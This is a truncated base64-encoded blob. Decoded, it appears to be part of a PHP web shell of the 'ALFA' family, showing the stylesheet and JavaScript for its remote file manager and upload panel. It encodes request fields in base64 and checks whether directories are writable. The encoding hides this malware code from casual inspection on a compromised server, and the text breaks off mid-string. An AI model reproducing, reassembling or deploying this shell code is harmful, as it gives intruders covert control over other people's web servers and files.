Q1JTtkaXNwbGF5Om5vbmU7fS5hamF4YXJlYXtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7Y29sb3I6IzY3QUJERn0jdXBfYmFye2JhY2tncm91bmQtY29sb3I6cmVkO3dpZHRoOjA7aGVpZ2h0OjJweDtkaXNwbGF5Om5vbmU7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDoxMDAwMDB9I2hpZGRlbl9zaHtiYWNrZ3JvdW5kLWNvbG9yOiMwRTMwNEE7dGV4dC1hbGlnbjpjZW50ZXI7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDtsZWZ0OjkwJTtib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOjJlbX0uYWxlcnRfZ3JlZW57Y29sb3I6IzBGMDtmb250LWZhbWlseToiQ29taWMgU2FucyBNUyI7Zm9udC1zaXplOnNtYWxsO3RleHQtZGVjb3JhdGlvbjpub25lfS53aG9sZXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYWJnLnBuZyk7YmFja2dyb3VuZC1wb3NpdGlvbjpjZW50ZXI7YmFja2dyb3VuZC1hdHRhY2htZW50OmZpeGVkO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdH0uaGVhZGVye2hlaWdodDphdXRvO3dpZHRoOmF1dG87Ym9yZGVyOjdweCBzb2xpZCAjMEUzMDRBO2NvbG9yOicuYWxmYV9nZXRDb2xvcigiaGVhZGVyX3ZhbHVlcyIpLic7Zm9udC1zaXplOjEycHg7Zm9udC1mYW1pbHk6VmVyZGFuYSxHZW5ldmEsc2Fucy1zZXJpZn0uaGVhZGVyIGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fS5maWxlc3Rvb2xzIGF7Y29sb3I6IzBGMDt0ZXh0LWRlY29yYXRpb246bm9uZX0uZmlsZXN0b29scyBhOmhvdmVye2NvbG9yOiNGRkY7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fXNwYW57Zm9udC13ZWlnaHQ6Ym9sZGVyO2NvbG9yOiNGRkZ9LnR4dGZvbnR7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpzbWFsbDtjb2xvcjojZmZmO2Rpc3BsYXk6aW5saW5lLWJsb2NrfS50eHRmb250X2hlYWRlcntmb250LWZhbWlseToiQ29taWMgU2FucyBNUyI7Zm9udC1zaXplOmxhcmdlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2NvbG9yOiM1OWNjMzN9LnRibHR4dHtmb250LWZhbWlseToiQ29taWMgU2FucyBNUyI7Y29sb3I6I2ZmZjtmb250LXNpemU6c21hbGw7ZGlzcGxheTppbmxpbmUtYmxvY2t9aW5wdXRbdHlwZT0iZmlsZSJde2Rpc3BsYXk6bm9uZX0uaW5wdXRmaWxle2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBO2JvcmRlci1yYWRpdXM6NHB4O2hlaWdodDoyMHB4O3dpZHRoOjI1MHB4O3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7d2hpdGUtc3BhY2U6bm93cmFwO2N1cnNvcjpwb2ludGVyO2Rpc3BsYXk6aW5saW5lLWJsb2NrO292ZXJmbG93OmhpZGRlbn0uaW5wdXRmaWxlOmhvdmVye2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5Qjstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fS5pbnB1dGZpbGUgc3BhbiwuaW5wdXRmaWxlIHN0cm9uZ3twYWRkaW5nOjJweDtwYWRkaW5nLWxlZnQ6MTBweH0uaW5wdXRmaWxlIHNwYW57Y29sb3I6IzI1ZmYwMDt3aWR0aDo5MHB4O21pbi1oZWlnaHQ6MmVtO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7d2hpdGUtc3BhY2U6bm93cmFwO292ZXJmbG93OmhpZGRlbjt2ZXJ0aWNhbC1hbGlnbjp0b3A7ZmxvYXQ6bGVmdH0uaW5wdXRmaWxlIHN0cm9uZ3tiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2FsZmFtaW5pJykuJyk7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246ZmxvYXQ7aGVpZ2h0OjEwMCU7d2lkdGg6MTA5cHg7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiMwRTMwNEE7ZGlzcGxheTppbmxpbmUtYmxvY2s7ZmxvYXQ6cmlnaHR9LmlucHV0ZmlsZTpmb2N1cyBzdHJvbmcsLmlucHV0ZmlsZS5oYXMtZm9jdXMgc3Ryb25nLC5pbnB1dGZpbGU6aG92ZXIgc3Ryb25ne2JhY2tncm91bmQtY29sb3I6IzQ2NjQ3QX0uYnV0dG9ue3BhZGRpbmc6M3B4fSNhZGR1cCwuYnV0dG9ue2N1cnNvcjpwb2ludGVyO2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBOy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjEwMHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6Z3JlZW47Ym9yZGVyLXJhZGl1czoxMDBweH0jYWRkdXA6aG92ZXIsLmJ1dHRvbjpob3Zlcntib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF06ZGlzYWJsZWQ6aG92ZXJ7Y3Vyc29yOm5vdC1hbGxvd2VkfXRke3BhZGRpbmc6Jy4oJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPT0nMSc/JzAnOicxJykuJ3B4fS5teUNoZWNrYm94e3BhZGRpbmctbGVmdDoycHh9Lm15Q2hlY2tib3ggbGFiZWx7ZGlzcGxheTppbmxpbmUtYmxvY2s7Y3Vyc29yOnBvaW50ZXI7cG9zaXRpb246cmVsYXRpdmV9Lm15Q2hlY2tib3ggaW5wdXRbdHlwZT1jaGVja2JveF17ZGlzcGxheTpub25lfS5teUNoZWNrYm94IGxhYmVsOmJlZm9yZXtjb250ZW50OiIiO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjE0cHg7aGVpZ2h0OjEzcHg7cG9zaXRpb246YWJzb2x1dGU7YmFja2dyb3VuZC1jb2xvcjojYWFhO2JveC1zaGFkb3c6aW5zZXQgMCAycHggM3B4IDAgcmdiYSgwLDAsMCwuMyksMCAxcHggMCAwIHJnYmEoMjU1LDI1NSwyNTUsLjgpfS5teUNoZWNrYm94IGxhYmVse21hcmdpbi1ib3R0b206MTVweDtwYWRkaW5nLXJpZ2h0OjE3cHh9Lm15Q2hlY2tib3ggbGFiZWw6YmVmb3Jle2JvcmRlci1yYWRpdXM6MTAwcHh9aW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZCArIGxhYmVsOmJlZm9yZXtjb250ZW50OiIiO2JhY2tncm91bmQtY29sb3I6IzBFMzA0QTtiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2FsZmFtaW5pJykuJyk7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246NTAlIDUwJTtiYWNrZ3JvdW5kLXNpemU6MTRweCAxNHB4O2JvcmRlcjoxcHggc29saWQgIzBGMDtib3gtc2hhZG93OjAgMCA0cHggIzBGMH0jbWV1bmxpc3R7Zm9udC1mYW1pbHk6VmVyZGFuYSxHZW5ldmEsc2Fucy1zZXJpZjtjb2xvcjojRkZGO3dpZHRoOmF1dG87Ym9yZGVyLXJpZ2h0LXdpZHRoOjdweDtib3JkZXItbGVmdC13aWR0aDo3cHg7aGVpZ2h0OmF1dG87Zm9udC1zaXplOjEycHg7Zm9udC13ZWlnaHQ6NzAwO2JvcmRlci10b3Atd2lkdGg6MDtib3JkZXItY29sb3I6IzBFMzA0QTtib3JkZXItc3R5bGU6c29saWR9Lndob2xlICNtZXVubGlzdCB1bHt0ZXh0LWFsaWduOmNlbnRlcjtsaXN0LXN0eWxlLXR5cGU6bm9uZTttYXJnaW46MDtwYWRkaW5nOjVweCA1cHggN3B4IDJweH0ud2hvbGUgI21ldW5saXN0IGxpe21hcmdpbjowO3BhZGRpbmc6MDtkaXNwbGF5OmlubGluZX0ud2hvbGUgI21ldW5saXN0IGF7Zm9udC1mYW1pbHk6YXJpYWwsc2Fucy1zZXJpZjtmb250LXNpemU6MTRweDt0ZXh0LWRlY29yYXRpb246bm9uZTtmb250LXdlaWdodDo3MDA7Y2xlYXI6Ym90aDt3aWR0aDoxMDBweDttYXJnaW4tcmlnaHQ6LTZweDtib3JkZXItcmlnaHQtd2lkdGg6MXB4O2JvcmRlci1yaWdodC1zdHlsZTpzb2xpZDtib3JkZXItcmlnaHQtY29sb3I6I0ZGRjtwYWRkaW5nOjNweCAxNXB4fS5mb290e2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWY7bWFyZ2luOjA7cGFkZGluZzowO3dpZHRoOjEwMCU7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjEycHg7Y29sb3I6IzBFMzA0QTtib3JkZXItcmlnaHQtd2lkdGg6N3B4O2JvcmRlci1sZWZ0LXdpZHRoOjdweDtib3JkZXItYm90dG9tLXdpZHRoOjdweDtib3JkZXItYm90dG9tLXN0eWxlOnNvbGlkO2JvcmRlci1yaWdodC1zdHlsZTpzb2xpZDtib3JkZXItcmlnaHQtc3R5bGU6c29saWQ7Ym9yZGVyLWxlZnQtc3R5bGU6c29saWQ7Ym9yZGVyLWNvbG9yOiMwRTMwNEF9I3RleHR7dGV4dC1hbGlnbjpjZW50ZXJ9aW5wdXRbdHlwZT1zdWJtaXRde2N1cnNvcjpwb2ludGVyO2JhY2tncm91bmQtaW1hZ2U6dXJsKCcuX19zaG93aWNvbignYnRuJykuJyk7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246NTAlIDUwJTtiYWNrZ3JvdW5kLXNpemU6MjNweCAyM3B4O2JhY2tncm91bmQtY29sb3I6IzAwMDt3aWR0aDozMHB4O2hlaWdodDozMHB4O2JvcmRlcjoxcHggc29saWQgIzI3OTc5Qjtib3JkZXItcmFkaXVzOjEwMHB4fXRleHRhcmVhe3BhZGRpbmc6M3B4O2NvbG9yOiM5OTk7dGV4dC1zaGFkb3c6Izc3NyAwIDAgM3B4O2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHh9dGV4dGFyZWE6aG92ZXJ7Y29sb3I6I0ZGRjt0ZXh0LXNoYWRvdzojMDYwIDAgMCA2cHg7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9aW5wdXRbdHlwZT10ZXh0XXtwYWRkaW5nOjNweDtjb2xvcjojOTk5O3RleHQtc2hhZG93OiM3NzcgMCAwIDNweDtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fWlucHV0W3R5cGU9c3VibWl0XTpob3Zlcntjb2xvcjojMDAwO3RleHQtc2hhZG93OiMwNjAgMCAwIDZweDtib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MnB4IHNvbGlkICMyNzk3OUI7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjEwMHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1pbnB1dFt0eXBlPXRleHRdOmhvdmVye2NvbG9yOiNGRkY7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5QjtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fXNlbGVjdHtwYWRkaW5nOjNweDt3aWR0aDoxNjJweDtjb2xvcjojRkZFO3RleHQtc2hhZG93OiMwMDAgMCAycHggN3B4O2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOiMwMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweH1zZWxlY3Q6aG92ZXJ7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9LmZvb3R0YWJsZXt3aWR0aDogMzAwcHg7Zm9udC13ZWlnaHQ6IGJvbGQ7Jy4oIUBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyd9LmRpcntiYWNrZ3JvdW5kLWNvbG9yOnJlZDt9JzonfScpLicubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7fS5tYWluIGF7Y29sb3I6ICNGRkY7fS5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzY0NjQ2NDt9Lm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9LmJpZ2FyZWF7IHdpZHRoOjk5JTsgaGVpZ2h0OjMwMHB4OyB9Jy5hbGZhQ3NzTG9hZENvbG9ycygpLic8L3N0eWxlPic7ZWNobyAiPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPnZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7dmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2EnXSkgLiInO3ZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzt2YXIgYWxmYTFfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhMSddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMSddLEVOVF9RVU9URVMpKSAuIic7dmFyIGFsZmEyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsnYWxmYTInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYWxmYTInXSxFTlRfUVVPVEVTKSkgLiInO3ZhciBhbGZhM18gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmEzJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmEzJ10sRU5UX1FVT1RFUykpIC4iJzt2YXIgYWxmYTRfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhNCddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhNCddLEVOVF9RVU9URVMpKSAuIic7dmFyIGFsZmE1XyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsnYWxmYTUnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYWxmYTUnXSxFTlRfUVVPVEVTKSkgLiInO3ZhciBhbGZhNl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmE2J10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmE2J10sRU5UX1FVT1RFUykpIC4iJzt2YXIgYWxmYTdfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhNyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhNyddLEVOVF9RVU9URVMpKSAuIic7dmFyIGFsZmE4XyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsnYWxmYTgnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYWxmYTgnXSxFTlRfUVVPVEVTKSkgLiInO3ZhciBhbGZhOV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmE5J10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmE5J10sRU5UX1FVT1RFUykpIC4iJzt2YXIgYWxmYTEwXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsnYWxmYTEwJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmExMCddLEVOVF9RVU9URVMpKSAuIic7dmFyIGQgPSBkb2N1bWVudDt2YXIgbXlzcWxfY2FjaGUgPSB7fTt2YXIgZWRpdG9yX2ZpbGVzID0ge307dmFyIGVkaXRvcl9lcnJvciA9IHRydWU7dmFyIGVkaXRvcl9jdXJyZW50X2ZpbGUgPSAnJzt2YXIgaXNfbWluaW1pemVkID0gZmFsc2U7dmFyIGNnaV9pc19taW5pbWl6ZWQgPSBmYWxzZTt2YXIgY2dpX2xhbmcgPSAnJzt2YXIgdXBjb3VudCA9IDE7dmFyIGlzbGludXggPSAiLigkR0xPQkFMU1snc3lzJ10hPSJ3aW4iPyd0cnVlJzonZmFsc2UnKS4iO3ZhciBwb3N0X2VuY3J5cHRpb25fbW9kZSA9ICIuKF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXz8ndHJ1ZSc6J2ZhbHNlJykuIjtmdW5jdGlvbiBzZXQoYSxjLGFsZmExLGFsZmEyLGFsZmEzLGFsZmE0LGFsZmE1LGFsZmE2LGFsZmE3LGFsZmE4LGFsZmE5LGFsZmExMCxjaGFyc2V0KSB7aWYoYSE9bnVsbClkLm1mLmEudmFsdWU9YTtlbHNlIGQubWYuYS52YWx1ZT1hXztpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOyI7Zm9yKCRqPTE7JGo8PTEwOyRqKyspe2VjaG8gJ2lmKGFsZmEnLiRqLichPW51bGwpZC5tZi5hbGZhJy4kai4nLnZhbHVlPWFsZmEnLiRqLic7ZWxzZSBkLm1mLmFsZmEnLiRqLicudmFsdWU9YWxmYScuJGouJ187Jzt9ZWNobyAiaWYoY2hhcnNldCE9bnVsbClkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0Xzt9IjtlY2hvICdmdW5jdGlvbiBmYyhhKXthbGZhbG9hZGVyKCJibG9jayIpO3ZhciBiPSJhPSIrYWxmYWI2NCgiRmlsZXNNYW4iKSsiJmM9IithbGZhYjY0KGEuYy52YWx1ZSkrIiZhbGZhMT0iK2FsZmFiNjQoYS5hbGZhMS52YWx1ZSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpKyImIixjPSIiO2ZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspImNoZWNrYm94Ij09ZC5maWxlcy5lbGVtZW50c1tpXS50eXBlJiZkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQmJihjKz0iZltdPSIrYWxmYWI2NChkLmZpbGVzLmVsZW1lbnRzW2ldLnZhbHVlKSsiJiIpO19BamF4KGQuVVJMLGIrYyxmdW5jdGlvbihhKXthbGZhbG9hZGVyKCJub25lIil9LCEwKX1mdW5jdGlvbiBpbml0RGlyKGEpe3ZhciBiPSIiLGM9IiI7aXNsaW51eCYmKGI9IjxhIGNsYXNzPVwiaGVhZGVyX3B3ZFwiIG9uY2xpY2s9XCJnKFwnRmlsZXNNYW5cJyxcJy9cJyk7XCIgaHJlZj1cJ2phdmFzY3JpcHQ6dm9pZCgwKTtcJz4vPC9hPiIsYz0iLyIpO3ZhciBlPWEuc3BsaXQoIi8iKSxmPSIiLGc9IiI7Ii0xIiE9ZS5pbmRleE9mKCIuLiIpJiYoZS5zcGxpY2UoZS5pbmRleE9mKCIuLiIpLTEsMSksZS5zcGxpY2UoZS5pbmRleE9mKCIuLiIpLDEpKTtmb3IoaSBpbiBlKSIiIT1lW2ldJiYoZis9IjxhIG9uY2xpY2s9XCJnKFwnRmlsZXNNYW5cJyxcJyIrZytlW2ldKyIvXCcpO1wiIGhyZWY9XCdqYXZhc2NyaXB0OnZvaWQoMCk7XCcgY2xhc3M9XCJoZWFkZXJfcHdkXCI+IitlW2ldKyIvPC9hPiIsZys9ZVtpXSsiLyIpOyQoImhlYWRlcl9jd2QiKS5pbm5lckhUTUw9YitmKyIgIjt2YXIgZT1jK2Uuam9pbigiLyIpO2U9ZS5yZXBsYWNlKCIvLyIsIi8iKSxkLmZvb3Rlcl9mb3JtLmMudmFsdWU9ZSwkKCJmb290ZXJfY3dkIikudmFsdWU9ZSxjXz1lfWZ1bmN0aW9uIGV2YWxKUyhodG1sKXt2YXIgbmV3RWxlbWVudD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtuZXdFbGVtZW50LmlubmVySFRNTD1odG1sO2Zvcih2YXIgc2NyaXB0cz1uZXdFbGVtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJzY3JpcHQiKSxpPTA7aTxzY3JpcHRzLmxlbmd0aDsrK2kpe3ZhciBzY3JpcHQ9c2NyaXB0c1tpXTtldmFsKHNjcmlwdC5pbm5lckhUTUwpfX1mdW5jdGlvbiBfQWpheChhLGIsYyxlKXt2YXIgZj0hMTtyZXR1cm4gd2luZG93LlhNTEh0dHBSZXF1ZXN0P2Y9bmV3IFhNTEh0dHBSZXF1ZXN0OndpbmRvdy5BY3RpdmVYT2JqZWN0JiYoZj1uZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKSksZj8oZi5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXs0PT1mLnJlYWR5U3RhdGUmJjIwMD09Zi5zdGF0dXMmJigiZnVuY3Rpb24iIT10eXBlb2YgYz9kLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImFqYXhhcmVhIilbMF0uaW5uZXJIVE1MPWYucmVzcG9uc2VUZXh0OmU/KGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiYWpheGFyZWEiKVswXS5pbm5lckhUTUw9Zi5yZXNwb25zZVRleHQsYyhmLnJlc3BvbnNlVGV4dCkpOmMoZi5yZXNwb25zZVRleHQpKX0sZi5vcGVuKCJQT1NUIixhLCEwKSxmLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpLGYuc2VuZChiKSx2b2lkIDApOnZvaWQgYWxlcnQoIkVycm9yICEiKX1mdW5jdGlvbiBoYW5kbGV1cChhLGIpe3ZhciBjPSJfX2ZuYW1ldXAiOzAhPWImJihjPSJfX2ZuYW1ldXAiK2IpLGEuZmlsZXNbMF0ubmFtZSYmKCQoYykuaW5uZXJIVE1MPWEuZmlsZXNbMF0ubmFtZSl9ZnVuY3Rpb24gdShhKXthbGZhbG9hZGVyKCJibG9jayIpO2Euc3VibWl0LmRpc2FibGVkPXRydWU7dmFyIGF2ID0gYS5hLnZhbHVlLGN2ID0gYS5jLnZhbHVlLGFsdiA9IGEuYWxmYTEudmFsdWUsY2hhID0gYS5jaGFyc2V0LnZhbHVlO3ZhciBiPSExO2lmKGEuYS52YWx1ZT1hbGZhYjY0KGEuYS52YWx1ZSksYS5jLnZhbHVlPWFsZmFiNjQoYS5jLnZhbHVlKSxhLmFsZmExLnZhbHVlPWFsZmFiNjQoYS5hbGZhMS52YWx1ZSksYS5jaGFyc2V0LnZhbHVlPWFsZmFiNjQoYS5jaGFyc2V0LnZhbHVlKSx3aW5kb3cuWE1MSHR0cFJlcXVlc3Q/Yj1uZXcgWE1MSHR0cFJlcXVlc3Q6d2luZG93LkFjdGl2ZVhPYmplY3QmJihiPW5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpKSxiKXt2YXIgYz0kKCJ1cF9iYXIiKTtiLnVwbG9hZCYmKGMuc3R5bGUuZGlzcGxheT0iYmxvY2siLGIudXBsb2FkLm9ucHJvZ3Jlc3M9ZnVuY3Rpb24oYSl7dmFyIGI9YS5wb3NpdGlvbnx8YS5sb2FkZWQsZD1hLnRvdGFsU2l6ZXx8YS50b3RhbCxlPU1hdGguZmxvb3IoYi9kKjFlMykvMTArIiUiO2Muc3R5bGUud2lkdGg9ZX0pLGIub25sb2FkPWZ1bmN0aW9uKGUpe2ZvcigyMDA9PT1iLnN0YXR1cz8oX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJGaWxlc01hbiIpKyImYz0iK2EuYy52YWx1ZSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIikpLGMuc3R5bGUuZGlzcGxheT0ibm9uZSIsYS5hLnZhbHVlPWF2LGEuYy52YWx1ZT1jdixhLmFsZmExLnZhbHVlPWFsdixhLmNoYXJzZXQudmFsdWU9Y2hhKTphbGVydCgiQW4gZXJyb3Igb2NjdXJyZWQhIiksJCgiZm9vdGVydXAiKS52YWx1ZT0iIiwkKCJfX2ZuYW1ldXAiKS5pbm5lckhUTUw9IiI7dXBjb3VudDspe3ZhciBmPSQoInBmb290ZXJ1cF8iK3VwY291bnQpO2YmJmYucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChmKSx1cGNvdW50LS19MD09dXBjb3VudCYmdXBjb3VudCsrLGFsZmFsb2FkZXIoIm5vbmUiKSxhLnN1Ym1pdC5kaXNhYmxlZD1mYWxzZX0sYi5vbmVycm9yPWZ1bmN0aW9uKGEpe